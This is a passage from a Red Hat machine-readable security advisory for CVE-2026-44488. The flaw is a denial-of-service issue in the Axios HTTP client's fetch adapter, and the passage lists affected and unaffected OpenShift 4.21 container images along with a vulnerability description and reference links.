"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2487949"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a promise-based HTTP client. When using the fetch adapter, Axios did not properly enforce configured request and response size limits. This vulnerability allows a remote attacker, through a malicious or compromised server, or by supplying a large data URL, to send or receive oversized data bodies. This can lead to resource exhaustion in server-side applications, resulting in a Denial of Service (DoS).",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Denial of Service due to unenforced request and response size limits",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "Important: A denial of service flaw was found in Axios, a JavaScript HTTP client library. This issue arises when applications utilize the `fetch` adapter, as configured request and response size limits are not properly enforced. A remote attacker could exploit this by sending or receiving excessively large data bodies, leading to resource exhaustion and potential denial of service in affected server-side applications.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64"
],
"known_not_affected": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-44488"
},
{
"category": "external",
"summary": "RHBZ#2487949",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487949"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-44488",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44488"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-44488",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44488"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-777c-7fjr-54vf",
"url": "https://github.com/axios/axios/security/advisories/GHSA-777c-7fjr-54vf"
}
],
"release_date": "2026-06-11T15:37:38.013000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-23T08:24:00+00:00",
